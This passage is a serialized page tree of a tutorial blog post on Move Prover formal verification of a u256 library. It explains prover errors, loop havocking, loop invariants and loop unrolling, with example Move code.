ret",{"type":20,"tag":315,"props":9130,"children":9131},{"style":2652},[9132],{"type":26,"value":1395},{"type":20,"tag":315,"props":9134,"children":9135},{"style":2652},[9136],{"type":26,"value":9137}," u256.U256{v0",{"type":20,"tag":315,"props":9139,"children":9140},{"style":2652},[9141],{"type":26,"value":1395},{"type":20,"tag":315,"props":9143,"children":9144},{"style":2652},[9145],{"type":26,"value":9146}," 26418,",{"type":20,"tag":315,"props":9148,"children":9149},{"style":2652},[9150],{"type":26,"value":9151}," v1",{"type":20,"tag":315,"props":9153,"children":9154},{"style":2652},[9155],{"type":26,"value":1395},{"type":20,"tag":315,"props":9157,"children":9158},{"style":2652},[9159],{"type":26,"value":9160}," 27938,",{"type":20,"tag":315,"props":9162,"children":9163},{"style":2652},[9164],{"type":26,"value":9165}," v2",{"type":20,"tag":315,"props":9167,"children":9168},{"style":2652},[9169],{"type":26,"value":1395},{"type":20,"tag":315,"props":9171,"children":9172},{"style":2652},[9173],{"type":26,"value":9174}," 6900,",{"type":20,"tag":315,"props":9176,"children":9177},{"style":2652},[9178],{"type":26,"value":9179}," v3",{"type":20,"tag":315,"props":9181,"children":9182},{"style":2652},[9183],{"type":26,"value":1395},{"type":20,"tag":315,"props":9185,"children":9186},{"style":765},[9187],{"type":26,"value":9188}," 1999",{"type":20,"tag":315,"props":9190,"children":9191},{"style":2652},[9192],{"type":26,"value":577},{"type":20,"tag":315,"props":9194,"children":9195},{"class":317,"line":2053},[9196,9200,9205],{"type":20,"tag":315,"props":9197,"children":9198},{"style":345},[9199],{"type":26,"value":9015},{"type":20,"tag":315,"props":9201,"children":9202},{"style":2652},[9203],{"type":26,"value":9204}," ./sources/u256.move:346:",{"type":20,"tag":315,"props":9206,"children":9207},{"style":2652},[9208],{"type":26,"value":9025},{"type":20,"tag":315,"props":9210,"children":9211},{"class":317,"line":2061},[9212],{"type":20,"tag":315,"props":9213,"children":9214},{"style":345},[9215],{"type":26,"value":9216}," ABORTED\n",{"type":20,"tag":315,"props":9218,"children":9219},{"class":317,"line":2070},[9220],{"type":20,"tag":315,"props":9221,"children":9222},{"emptyLinePlaceholder":15},[9223],{"type":26,"value":427},{"type":20,"tag":315,"props":9225,"children":9226},{"class":317,"line":2139},[9227,9232,9237,9241,9246,9251,9256,9260,9265,9269],{"type":20,"tag":315,"props":9228,"children":9229},{"style":345},[9230],{"type":26,"value":9231},"FAILURE",{"type":20,"tag":315,"props":9233,"children":9234},{"style":2652},[9235],{"type":26,"value":9236}," proving",{"type":20,"tag":315,"props":9238,"children":9239},{"style":765},[9240],{"type":26,"value":2916},{"type":20,"tag":315,"props":9242,"children":9243},{"style":2652},[9244],{"type":26,"value":9245}," modules",{"type":20,"tag":315,"props":9247,"children":9248},{"style":2652},[9249],{"type":26,"value":9250}," from",{"type":20,"tag":315,"props":9252,"children":9253},{"style":2652},[9254],{"type":26,"value":9255}," package",{"type":20,"tag":315,"props":9257,"children":9258},{"style":2652},[9259],{"type":26,"value":8773},{"type":20,"tag":315,"props":9261,"children":9262},{"style":345},[9263],{"type":26,"value":9264},"u256",{"type":20,"tag":315,"props":9266,"children":9267},{"style":2652},[9268],{"type":26,"value":8782},{"type":20,"tag":315,"props":9270,"children":9271},{"style":328},[9272],{"type":26,"value":9273}," in 9.143s\n",{"type":20,"tag":315,"props":9275,"children":9276},{"class":317,"line":2147},[9277],{"type":20,"tag":315,"props":9278,"children":9279},{"style":328},[9280],{"type":26,"value":723},{"type":20,"tag":315,"props":9282,"children":9283},{"class":317,"line":2177},[9284,9289,9293],{"type":20,"tag":315,"props":9285,"children":9286},{"style":345},[9287],{"type":26,"value":9288}," \"Error\"",{"type":20,"tag":315,"props":9290,"children":9291},{"style":345},[9292],{"type":26,"value":2884},{"type":20,"tag":315,"props":9294,"children":9295},{"style":2652},[9296],{"type":26,"value":9297}," \"Move Prover failed: exiting with verification errors\"\n",{"type":20,"tag":315,"props":9299,"children":9300},{"class":317,"line":2185},[9301],{"type":20,"tag":315,"props":9302,"children":9303},{"style":328},[9304],{"type":26,"value":577},{"type":20,"tag":29,"props":9306,"children":9307},{},[9308,9310,9315],{"type":26,"value":9309},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":20,"tag":119,"props":9311,"children":9313},{"className":9312},[],[9314],{"type":26,"value":6721},{"type":26,"value":9316}," clauses. But there is no other abort situation that we have to cover, right?",{"type":20,"tag":29,"props":9318,"children":9319},{},[9320,9322,9328],{"type":26,"value":9321},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":20,"tag":119,"props":9323,"children":9325},{"className":9324},[],[9326],{"type":26,"value":9327},"ret havocked and reassigned",{"type":26,"value":61},{"type":20,"tag":29,"props":9330,"children":9331},{},[9332],{"type":26,"value":9333},"What does this mean?",{"type":20,"tag":29,"props":9335,"children":9336},{},[9337,9339,9346],{"type":26,"value":9338},"By diving into the Move Prover source, we find a ",{"type":20,"tag":35,"props":9340,"children":9343},{"href":9341,"rel":9342},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[39],[9344],{"type":26,"value":9345},"likely suspect",{"type":26,"value":9347},". The prover attempts to prove all loops with induction!",{"type":20,"tag":29,"props":9349,"children":9350},{},[9351],{"type":26,"value":9352},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":20,"tag":68,"props":9354,"children":9355},{},[9356,9361],{"type":20,"tag":72,"props":9357,"children":9358},{},[9359],{"type":26,"value":9360},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":20,"tag":72,"props":9362,"children":9363},{},[9364],{"type":26,"value":9365},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":20,"tag":29,"props":9367,"children":9368},{},[9369,9371,9376,9378,9384,9385,9391,9393,9398,9400,9405],{"type":26,"value":9370},"The loop prover will also ",{"type":20,"tag":3717,"props":9372,"children":9373},{},[9374],{"type":26,"value":9375},"havoc, or assign random values to, all variables written to inside the loop",{"type":26,"value":9377},". Going back to the log message, this implies that the variables ",{"type":20,"tag":119,"props":9379,"children":9381},{"className":9380},[],[9382],{"type":26,"value":9383},"carry",{"type":26,"value":44},{"type":20,"tag":119,"props":9386,"children":9388},{"className":9387},[],[9389],{"type":26,"value":9390},"ret",{"type":26,"value":9392}," and ",{"type":20,"tag":119,"props":9394,"children":9396},{"className":9395},[],[9397],{"type":26,"value":2122},{"type":26,"value":9399}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":20,"tag":119,"props":9401,"children":9403},{"className":9402},[],[9404],{"type":26,"value":8037},{"type":26,"value":9406}," makes no sense.",{"type":20,"tag":29,"props":9408,"children":9409},{},[9410],{"type":26,"value":9411},"More concretely, the loop analysis translates into the following steps.",{"type":20,"tag":68,"props":9413,"children":9414},{},[9415,9420,9425,9430,9435,9440],{"type":20,"tag":72,"props":9416,"children":9417},{},[9418],{"type":26,"value":9419},"Assert the loop invariant",{"type":20,"tag":72,"props":9421,"children":9422},{},[9423],{"type":26,"value":9424},"Havoc all modified variables",{"type":20,"tag":72,"props":9426,"children":9427},{},[9428],{"type":26,"value":9429},"Assume the loop invariant",{"type":20,"tag":72,"props":9431,"children":9432},{},[9433],{"type":26,"value":9434},"Assume the loop guard (the code inside the while condition)",{"type":20,"tag":72,"props":9436,"children":9437},{},[9438],{"type":26,"value":9439},"Run the loop body",{"type":20,"tag":72,"props":9441,"children":9442},{},[9443],{"type":26,"value":9419},{"type":20,"tag":29,"props":9445,"children":9446},{},[9447],{"type":26,"value":9448},"There are two approaches to dealing with loops.",{"type":20,"tag":29,"props":9450,"children":9451},{},[9452],{"type":26,"value":9453},"The first would be to specify a loop invariant.",{"type":20,"tag":29,"props":9455,"children":9456},{},[9457,9459,9466],{"type":26,"value":9458},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":20,"tag":35,"props":9460,"children":9463},{"href":9461,"rel":9462},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[39],[9464],{"type":26,"value":9465},"previous post",{"type":26,"value":61},{"type":20,"tag":305,"props":9468,"children":9470},{"code":9469,"language":1359,"meta":7,"className":1360,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[9471],{"type":20,"tag":119,"props":9472,"children":9473},{"__ignoreMap":7},[9474,9486,9497,9533,9556,9639,9646,9670,9678,9698,9718,9809,9816,9844],{"type":20,"tag":315,"props":9475,"children":9476},{"class":317,"line":318},[9477,9482],{"type":20,"tag":315,"props":9478,"children":9479},{"style":525},[9480],{"type":26,"value":9481}," while",{"type":20,"tag":315,"props":9483,"children":9484},{"style":328},[9485],{"type":26,"value":6929},{"type":20,"tag":315,"props":9487,"children":9488},{"class":317,"line":356},[9489,9493],{"type":20,"tag":315,"props":9490,"children":9491},{"style":635},[9492],{"type":26,"value":7325},{"type":20,"tag":315,"props":9494,"children":9495},{"style":328},[9496],{"type":26,"value":1092},{"type":20,"tag":315,"props":9498,"children":9499},{"class":317,"line":365},[9500,9505,9509,9513,9517,9521,9525,9529],{"type":20,"tag":315,"props":9501,"children":9502},{"style":635},[9503],{"type":26,"value":9504}," invariant",{"type":20,"tag":315,"props":9506,"children":9507},{"style":345},[9508],{"type":26,"value":6954},{"type":20,"tag":315,"props":9510,"children":9511},{"style":328},[9512],{"type":26,"value":1049},{"type":20,"tag":315,"props":9514,"children":9515},{"style":635},[9516],{"type":26,"value":6963},{"type":20,"tag":315,"props":9518,"children":9519},{"style":328},[9520],{"type":26,"value":1468},{"type":20,"tag":315,"props":9522,"children":9523},{"style":334},[9524],{"type":26,"value":538},{"type":20,"tag":315,"props":9526,"children":9527},{"style":635},[9528],{"type":26,"value":1779},{"type":20,"tag":315,"props":9530,"children":9531},{"style":328},[9532],{"type":26,"value":1405},{"type":20,"tag":315,"props":9534,"children":9535},{"class":317,"line":374},[9536,9540,9544,9548,9552],{"type":20,"tag":315,"props":9537,"children":9538},{"style":635},[9539],{"type":26,"value":9504},{"type":20,"tag":315,"props":9541,"children":9542},{"style":635},[9543],{"type":26,"value":1779},{"type":20,"tag":315,"props":9545,"children":9546},{"style":334},[9547],{"type":26,"value":6593},{"type":20,"tag":315,"props":9549,"children":9550},{"style":635},[9551],{"type":26,"value":6883},{"type":20,"tag":315,"props":9553,"children":9554},{"style":328},[9555],{"type":26,"value":1405},{"type":20,"tag":315,"props":9557,"children":9558},{"class":317,"line":383},[9559,9563,9567,9571,9575,9579,9583,9587,9591,9595,9599,9603,9607,9611,9615,9619,9623,9627,9631,9635],{"type":20,"tag":315,"props":9560,"children":9561},{"style":635},[9562],{"type":26,"value":9504},{"type":20,"tag":315,"props":9564,"children":9565},{"style":635},[9566],{"type":26,"value":7014},{"type":20,"tag":315,"props":9568,"children":9569},{"style":635},[9570],{"type":26,"value":7019},{"type":20,"tag":315,"props":9572,"children":9573},{"style":541},[9574],{"type":26,"value":1423},{"type":20,"tag":315,"props":9576,"children":9577},{"style":765},[9578],{"type":26,"value":985},{"type":20,"tag":315,"props":9580,"children":9581},{"style":334},[9582],{"type":26,"value":1432},{"type":20,"tag":315,"props":9584,"children":9585},{"style":635},[9586],{"type":26,"value":2122},{"type":20,"tag":315,"props":9588,"children":9589},{"style":334},[9590],{"type":26,"value":2884},{"type":20,"tag":315,"props":9592,"children":9593},{"style":635},[9594],{"type":26,"value":6818},{"type":20,"tag":315,"props":9596,"children":9597},{"style":328},[9598],{"type":26,"value":2117},{"type":20,"tag":315,"props":9600,"children":9601},{"style":635},[9602],{"type":26,"value":7052},{"type":20,"tag":315,"props":9604,"children":9605},{"style":328},[9606],{"type":26,"value":7057},{"type":20,"tag":315,"props":9608,"children":9609},{"style":334},[9610],{"type":26,"value":538},{"type":20,"tag":315,"props":9612,"children":9613},{"style":635},[9614],{"type":26,"value":7066},{"type":20,"tag":315,"props":9616,"children":9617},{"style":328},[9618],{"type":26,"value":2117},{"type":20,"tag":315,"props":9620,"children":9621},{"style":635},[9622],{"type":26,"value":7052},{"type":20,"tag":315,"props":9624,"children":9625},{"style":328},[9626],{"type":26,"value":7057},{"type":20,"tag":315,"props":9628,"children":9629},{"style":334},[9630],{"type":26,"value":901},{"type":20,"tag":315,"props":9632,"children":9633},{"style":635},[9634],{"type":26,"value":6883},{"type":20,"tag":315,"props":9636,"children":9637},{"style":328},[9638],{"type":26,"value":1405},{"type":20,"tag":315,"props":9640,"children":9641},{"class":317,"line":407},[9642],{"type":20,"tag":315,"props":9643,"children":9644},{"style":328},[9645],{"type":26,"value":7317},{"type":20,"tag":315,"props":9647,"children":9648},{"class":317,"line":421},[9649,9654,9658,9662,9666],{"type":20,"tag":315,"props":9650,"children":9651},{"style":328},[9652],{"type":26,"value":9653}," (",{"type":20,"tag":315,"props":9655,"children":9656},{"style":635},[9657],{"type":26,"value":2122},{"type":20,"tag":315,"props":9659,"children":9660},{"style":334},[9661],{"type":26,"value":7115},{"type":20,"tag":315,"props":9663,"children":9664},{"style":635},[9665],{"type":26,"value":6883},{"type":20,"tag":315,"props":9667,"children":9668},{"style":328},[9669],{"type":26,"value":380},{"type":20,"tag":315,"props":9671,"children":9672},{"class":317,"line":430},[9673],{"type":20,"tag":315,"props":9674,"children":9675},{"style":328},[9676],{"type":26,"value":9677}," }) {\n",{"type":20,"tag":315,"props":9679,"children":9680},{"class":317,"line":453},[9681,9686,9690,9694],{"type":20,"tag":315,"props":9682,"children":9683},{"style":328},[9684],{"type":26,"value":9685}," vector",{"type":20,"tag":315,"props":9687,"children":9688},{"style":334},[9689],{"type":26,"value":1861},{"type":20,"tag":315,"props":9691,"children":9692},{"style":345},[9693],{"type":26,"value":7148},{"type":20,"tag":315,"props":9695,"children":9696},{"style":328},[9697],{"type":26,"value":353},{"type":20,"tag":315,"props":9699,"children":9700},{"class":317,"line":486},[9701,9706,9710,9714],{"type":20,"tag":315,"props":9702,"children":9703},{"style":334},[9704],{"type":26,"value":9705}," &",{"type":20,"tag":315,"props":9707,"children":9708},{"style":541},[9709],{"type":26,"value":2107},{"type":20,"tag":315,"props":9711,"children":9712},{"style":635},[9713],{"type":26,"value":6818},{"type":20,"tag":315,"props":9715,"children":9716},{"style":328},[9717],{"type":26,"value":643},{"type":20,"tag":315,"props":9719,"children":9720},{"class":317,"line":499},[9721,9725,9729,9733,9737,9741,9745,9749,9753,9757,9761,9765,9769,9773,9777,9781,9785,9789,9793,9797,9801,9805],{"type":20,"tag":315,"props":9722,"children":9723},{"style":328},[9724],{"type":26,"value":7106},{"type":20,"tag":315,"props":9726,"children":9727},{"style":334},[9728],{"type":26,"value":901},{"type":20,"tag":315,"props":9730,"children":9731},{"style":328},[9732],{"type":26,"value":7189},{"type":20,"tag":315,"props":9734,"children":9735},{"style":334},[9736],{"type":26,"value":1861},{"type":20,"tag":315,"props":9738,"children":9739},{"style":345},[9740],{"type":26,"value":7198},{"type":20,"tag":315,"props":9742,"children":9743},{"style":328},[9744],{"type":26,"value":1049},{"type":20,"tag":315,"props":9746,"children":9747},{"style":334},[9748],{"type":26,"value":1490},{"type":20,"tag":315,"props":9750,"children":9751},{"style":635},[9752],{"type":26,"value":6763},{"type":20,"tag":315,"props":9754,"children":9755},{"style":328},[9756],{"type":26,"value":7215},{"type":20,"tag":315,"props":9758,"children":9759},{"style":635},[9760],{"type":26,"value":2122},{"type":20,"tag":315,"props":9762,"children":9763},{"style":541},[9764],{"type":26,"value":7224},{"type":20,"tag":315,"props":9766,"children":9767},{"style":322},[9768],{"type":26,"value":4253},{"type":20,"tag":315,"props":9770,"children":9771},{"style":328},[9772],{"type":26,"value":7233},{"type":20,"tag":315,"props":9774,"children":9775},{"style":541},[9776],{"type":26,"value":7238},{"type":20,"tag":315,"props":9778,"children":9779},{"style":322},[9780],{"type":26,"value":7243},{"type":20,"tag":315,"props":9782,"children":9783},{"style":328},[9784],{"type":26,"value":1468},{"type":20,"tag":315,"props":9786,"children":9787},{"style":334},[9788],{"type":26,"value":901},{"type":20,"tag":315,"props":9790,"children":9791},{"style":328},[9792],{"type":26,"value":463},{"type":20,"tag":315,"props":9794,"children":9795},{"style":635},[9796],{"type":26,"value":7260},{"type":20,"tag":315,"props":9798,"children":9799},{"style":541},[9800],{"type":26,"value":7224},{"type":20,"tag":315,"props":9802,"children":9803},{"style":322},[9804],{"type":26,"value":7243},{"type":20,"tag":315,"props":9806,"children":9807},{"style":328},[9808],{"type":26,"value":380},{"type":20,"tag":315,"props":9810,"children":9811},{"class":317,"line":513},[9812],{"type":20,"tag":315,"props":9813,"children":9814},{"style":328},[9815],{"type":26,"value":5161},{"type":20,"tag":315,"props":9817,"children":9818},{"class":317,"line":521},[9819,9824,9828,9832,9836,9840],{"type":20,"tag":315,"props":9820,"children":9821},{"style":635},[9822],{"type":26,"value":9823}," i",{"type":20,"tag":315,"props":9825,"children":9826},{"style":334},[9827],{"type":26,"value":1395},{"type":20,"tag":315,"props":9829,"children":9830},{"style":635},[9831],{"type":26,"value":1779},{"type":20,"tag":315,"props":9833,"children":9834},{"style":334},[9835],{"type":26,"value":7301},{"type":20,"tag":315,"props":9837,"children":9838},{"style":765},[9839],{"type":26,"value":2916},{"type":20,"tag":315,"props":9841,"children":9842},{"style":328},[9843],{"type":26,"value":1405},{"type":20,"tag":315,"props":9845,"children":9846},{"class":317,"line":552},[9847],{"type":20,"tag":315,"props":9848,"children":9849},{"style":328},[9850],{"type":26,"value":9851}," };\n",{"type":20,"tag":29,"props":9853,"children":9854},{},[9855,9857,9863,9865,9870,9872,9878],{"type":26,"value":9856},"In this case, the brackets specify the loop invariant for the ",{"type":20,"tag":119,"props":9858,"children":9860},{"className":9859},[],[9861],{"type":26,"value":9862},"while",{"type":26,"value":9864}," loop. Note that because the loop invariant executes ",{"type":20,"tag":55,"props":9866,"children":9867},{},[9868],{"type":26,"value":9869},"after",{"type":26,"value":9871}," the loop guard, so we need to account for an extra step with ",{"type":20,"tag":119,"props":9873,"children":9875},{"className":9874},[],[9876],{"type":26,"value":9877},"i \u003C= n_coins",{"type":26,"value":61},{"type":20,"tag":305,"props":9880,"children":9882},{"code":9881,"language":1359,"meta":7,"className":1360,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[9883],{"type":20,"tag":119,"props":9884,"children":9885},{"__ignoreMap":7},[9886,9897,9908,9943,9966,10049,10056,10079],{"type":20,"tag":315,"props":9887,"children":9888},{"class":317,"line":318},[9889,9893],{"type":20,"tag":315,"props":9890,"children":9891},{"style":525},[9892],{"type":26,"value":9481},{"type":20,"tag":315,"props":9894,"children":9895},{"style":328},[9896],{"type":26,"value":6929},{"type":20,"tag":315,"props":9898,"children":9899},{"class":317,"line":356},[9900,9904],{"type":20,"tag":315,"props":9901,"children":9902},{"style":635},[9903],{"type":26,"value":7325},{"type":20,"tag":315,"props":9905,"children":9906},{"style":328},[9907],{"type":26,"value":1092},{"type":20,"tag":315,"props":9909,"children":9910},{"class":317,"line":365},[9911,9915,9919,9923,9927,9931,9935,9939],{"type":20,"tag":315,"props":9912,"children":9913},{"style":635},[9914],{"type":26,"value":9504},{"type":20,"tag":315,"props":9916,"children":9917},{"style":345},[9918],{"type":26,"value":6954},{"type":20,"tag":315,"props":9920,"children":9921},{"style":328},[9922],{"type":26,"value":1049},{"type":20,"tag":315,"props":9924,"children":9925},{"style":635},[9926],{"type":26,"value":6963},{"type":20,"tag":315,"props":9928,"children":9929},{"style":328},[9930],{"type":26,"value":1468},{"type":20,"tag":315,"props":9932,"children":9933},{"style":334},[9934],{"type":26,"value":538},{"type":20,"tag":315,"props":9936,"children":9937},{"style":635},[9938],{"type":26,"value":1779},{"type":20,"tag":315,"props":9940,"children":9941},{"style":328},[9942],{"type":26,"value":1405},{"type":20,"tag":315,"props":9944,"children":9945},{"class":317,"line":374},[9946,9950,9954,9958,9962],{"type":20,"tag":315,"props":9947,"children":9948},{"style":635},[9949],{"type":26,"value":9504},{"type":20,"tag":315,"props":9951,"children":9952},{"style":635},[9953],{"type":26,"value":1779},{"type":20,"tag":315,"props":9955,"children":9956},{"style":334},[9957],{"type":26,"value":6593},{"type":20,"tag":315,"props":9959,"children":9960},{"style":635},[9961],{"type":26,"value":6883},{"type":20,"tag":315,"props":9963,"children":9964},{"style":328},[9965],{"type":26,"value":1405},{"type":20,"tag":315,"props":9967,"children":9968},{"class":317,"line":383},[9969,9973,9977,9981,9985,9989,9993,9997,10001,10005,10009,10013,10017,10021,10025,10029,10033,10037,10041,10045],{"type":20,"tag":315,"props":9970,"children":9971},{"style":635},[9972],{"type":26,"value":9504},{"type":20,"tag":315,"props":9974,"children":9975},{"style":635},[9976],{"type":26,"value":7014},{"type":20,"tag":315,"props":9978,"children":9979},{"style":635},[9980],{"type":26,"value":7019},{"type":20,"tag":315,"props":9982,"children":9983},{"style":541},[9984],{"type":26,"value":1423},{"type":20,"tag":315,"props":9986,"children":9987},{"style":765},[9988],{"type":26,"value":985},{"type":20,"tag":315,"props":9990,"children":9991},{"style":334},[9992],{"type":26,"value":1432},{"type":20,"tag":315,"props":9994,"children":9995},{"style":635},[9996],{"type":26,"value":2122},{"type":20,"tag":315,"props":9998,"children":9999},{"style":334},[10000],{"type":26,"value":2884},{"type":20,"tag":315,"props":10002,"children":10003},{"style":635},[10004],{"type":26,"value":6818},{"type":20,"tag":315,"props":10006,"children":10007},{"style":328},[10008],{"type":26,"value":2117},{"type":20,"tag":315,"props":10010,"children":10011},{"style":635},[10012],{"type":26,"value":7052},{"type":20,"tag":315,"props":10014,"children":10015},{"style":328},[10016],{"type":26,"value":7057},{"type":20,"tag":315,"props":10018,"children":10019},{"style":334},[10020],{"type":26,"value":538},{"type":20,"tag":315,"props":10022,"children":10023},{"style":635},[10024],{"type":26,"value":7066},{"type":20,"tag":315,"props":10026,"children":10027},{"style":328},[10028],{"type":26,"value":2117},{"type":20,"tag":315,"props":10030,"children":10031},{"style":635},[10032],{"type":26,"value":7052},{"type":20,"tag":315,"props":10034,"children":10035},{"style":328},[10036],{"type":26,"value":7057},{"type":20,"tag":315,"props":10038,"children":10039},{"style":334},[10040],{"type":26,"value":901},{"type":20,"tag":315,"props":10042,"children":10043},{"style":635},[10044],{"type":26,"value":6883},{"type":20,"tag":315,"props":10046,"children":10047},{"style":328},[10048],{"type":26,"value":1405},{"type":20,"tag":315,"props":10050,"children":10051},{"class":317,"line":407},[10052],{"type":20,"tag":315,"props":10053,"children":10054},{"style":328},[10055],{"type":26,"value":7317},{"type":20,"tag":315,"props":10057,"children":10058},{"class":317,"line":421},[10059,10063,10067,10071,10075],{"type":20,"tag":315,"props":10060,"children":10061},{"style":328},[10062],{"type":26,"value":9653},{"type":20,"tag":315,"props":10064,"children":10065},{"style":635},[10066],{"type":26,"value":2122},{"type":20,"tag":315,"props":10068,"children":10069},{"style":334},[10070],{"type":26,"value":7115},{"type":20,"tag":315,"props":10072,"children":10073},{"style":635},[10074],{"type":26,"value":6883},{"type":20,"tag":315,"props":10076,"children":10077},{"style":328},[10078],{"type":26,"value":380},{"type":20,"tag":315,"props":10080,"children":10081},{"class":317,"line":430},[10082],{"type":20,"tag":315,"props":10083,"children":10084},{"style":328},[10085],{"type":26,"value":9677},{"type":20,"tag":29,"props":10087,"children":10088},{},[10089],{"type":26,"value":10090},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":20,"tag":29,"props":10092,"children":10093},{},[10094,10096,10101],{"type":26,"value":10095},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":20,"tag":119,"props":10097,"children":10099},{"className":10098},[],[10100],{"type":26,"value":8037},{"type":26,"value":10102}," function will always iterate exactly 4 times:",{"type":20,"tag":305,"props":10104,"children":10106},{"code":10105,"language":1359,"meta":7,"className":1360,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[10107],{"type":20,"tag":119,"props":10108,"children":10109},{"__ignoreMap":7},[10110,10118,10151,10158,10174,10181,10205,10229,10274,10318,10325],{"type":20,"tag":315,"props":10111,"children":10112},{"class":317,"line":318},[10113],{"type":20,"tag":315,"props":10114,"children":10115},{"style":1071},[10116],{"type":26,"value":10117},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":20,"tag":315,"props":10119,"children":10120},{"class":317,"line":356},[10121,10125,10130,10134,10138,10142,10147],{"type":20,"tag":315,"props":10122,"children":10123},{"style":541},[10124],{"type":26,"value":8054},{"type":20,"tag":315,"props":10126,"children":10127},{"style":328},[10128],{"type":26,"value":10129}," WORDS",{"type":20,"tag":315,"props":10131,"children":10132},{"style":334},[10133],{"type":26,"value":2884},{"type":20,"tag":315,"props":10135,"children":10136},{"style":322},[10137],{"type":26,"value":4253},{"type":20,"tag":315,"props":10139,"children":10140},{"style":334},[10141],{"type":26,"value":1395},{"type":20,"tag":315,"props":10143,"children":10144},{"style":765},[10145],{"type":26,"value":10146}," 4",{"type":20,"tag":315,"props":10148,"children":10149},{"style":328},[10150],{"type":26,"value":1405},{"type":20,"tag":315,"props":10152,"children":10153},{"class":317,"line":365},[10154],{"type":20,"tag":315,"props":10155,"children":10156},{"emptyLinePlaceholder":15},[10157],{"type":26,"value":427},{"type":20,"tag":315,"props":10159,"children":10160},{"class":317,"line":374},[10161,10165,10169],{"type":20,"tag":315,"props":10162,"children":10163},{"style":328},[10164],{"type":26,"value":2117},{"type":20,"tag":315,"props":10166,"children":10167},{"style":334},[10168],{"type":26,"value":7990},{"type":20,"tag":315,"props":10170,"children":10171},{"style":328},[10172],{"type":26,"value":10173},"]\n",{"type":20,"tag":315,"props":10175,"children":10176},{"class":317,"line":383},[10177],{"type":20,"tag":315,"props":10178,"children":10179},{"emptyLinePlaceholder":15},[10180],{"type":26,"value":427},{"type":20,"tag":315,"props":10182,"children":10183},{"class":317,"line":407},[10184,10189,10193,10197,10201],{"type":20,"tag":315,"props":10185,"children":10186},{"style":541},[10187],{"type":26,"value":10188},"let",{"type":20,"tag":315,"props":10190,"children":10191},{"style":635},[10192],{"type":26,"value":1779},{"type":20,"tag":315,"props":10194,"children":10195},{"style":334},[10196],{"type":26,"value":1395},{"type":20,"tag":315,"props":10198,"children":10199},{"style":765},[10200],{"type":26,"value":985},{"type":20,"tag":315,"props":10202,"children":10203},{"style":328},[10204],{"type":26,"value":1405},{"type":20,"tag":315,"props":10206,"children":10207},{"class":317,"line":421},[10208,10212,10216,10220,10224],{"type":20,"tag":315,"props":10209,"children":10210},{"style":525},[10211],{"type":26,"value":9862},{"type":20,"tag":315,"props":10213,"children":10214},{"style":328},[10215],{"type":26,"value":463},{"type":20,"tag":315,"props":10217,"children":10218},{"style":635},[10219],{"type":26,"value":2122},{"type":20,"tag":315,"props":10221,"children":10222},{"style":334},[10223],{"type":26,"value":7115},{"type":20,"tag":315,"props":10225,"children":10226},{"style":328},[10227],{"type":26,"value":10228}," WORDS) {\n",{"type":20,"tag":315,"props":10230,"children":10231},{"class":317,"line":430},[10232,10236,10241,10245,10250,10254,10258,10262,10266,10270],{"type":20,"tag":315,"props":10233,"children":10234},{"style":541},[10235],{"type":26,"value":1380},{"type":20,"tag":315,"props":10237,"children":10238},{"style":635},[10239],{"type":26,"value":10240}," a1",{"type":20,"tag":315,"props":10242,"children":10243},{"style":334},[10244],{"type":26,"value":1395},{"type":20,"tag":315,"props":10246,"children":10247},{"style":345},[10248],{"type":26,"value":10249}," get",{"type":20,"tag":315,"props":10251,"children":10252},{"style":328},[10253],{"type":26,"value":1049},{"type":20,"tag":315,"props":10255,"children":10256},{"style":334},[10257],{"type":26,"value":1490},{"type":20,"tag":315,"props":10259,"children":10260},{"style":635},[10261],{"type":26,"value":35},{"type":20,"tag":315,"props":10263,"children":10264},{"style":328},[10265],{"type":26,"value":44},{"type":20,"tag":315,"props":10267,"children":10268},{"style":635},[10269],{"type":26,"value":2122},{"type":20,"tag":315,"props":10271,"children":10272},{"style":328},[10273],{"type":26,"value":2214},{"type":20,"tag":315,"props":10275,"children":10276},{"class":317,"line":453},[10277,10281,10286,10290,10294,10298,10302,10306,10310,10314],{"type":20,"tag":315,"props":10278,"children":10279},{"style":541},[10280],{"type":26,"value":1380},{"type":20,"tag":315,"props":10282,"children":10283},{"style":635},[10284],{"type":26,"value":10285}," b1",{"type":20,"tag":315,"props":10287,"children":10288},{"style":334},[10289],{"type":26,"value":1395},{"type":20,"tag":315,"props":10291,"children":10292},{"style":345},[10293],{"type":26,"value":10249},{"type":20,"tag":315,"props":10295,"children":10296},{"style":328},[10297],{"type":26,"value":1049},{"type":20,"tag":315,"props":10299,"children":10300},{"style":334},[10301],{"type":26,"value":1490},{"type":20,"tag":315,"props":10303,"children":10304},{"style":635},[10305],{"type":26,"value":1604},{"type":20,"tag":315,"props":10307,"children":10308},{"style":328},[10309],{"type":26,"value":44},{"type":20,"tag":315,"props":10311,"children":10312},{"style":635},[10313],{"type":26,"value":2122},{"type":20,"tag":315,"props":10315,"children":10316},{"style":328},[10317],{"type":26,"value":2214},{"type":20,"tag":315,"props":10319,"children":10320},{"class":317,"line":486},[10321],{"type":20,"tag":315,"props":10322,"children":10323},{"emptyLinePlaceholder":15},[10324],{"type":26,"value":427},{"